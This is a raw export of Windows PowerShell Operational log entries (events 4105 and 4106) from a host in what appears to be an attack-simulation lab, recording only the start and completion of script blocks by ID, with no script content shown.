SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045173
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045172
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045171
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045170
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045169
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045168
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045167
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045166
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045165
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045164
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045163
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045162
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045161
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045160
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045159
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045158
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045157
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045156
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045155
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045154
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045153
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045152
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045151
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045150
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045149
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045148
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045147
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045146
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045145
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045144
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045143
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045142
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045141
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045140
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045139
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045138
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045137
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045136
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045135
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045134
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045133
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045132
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045131
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045130
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045129
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045128
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045127
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045126
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045125
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045124
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045123
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045122
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045121
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045120
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
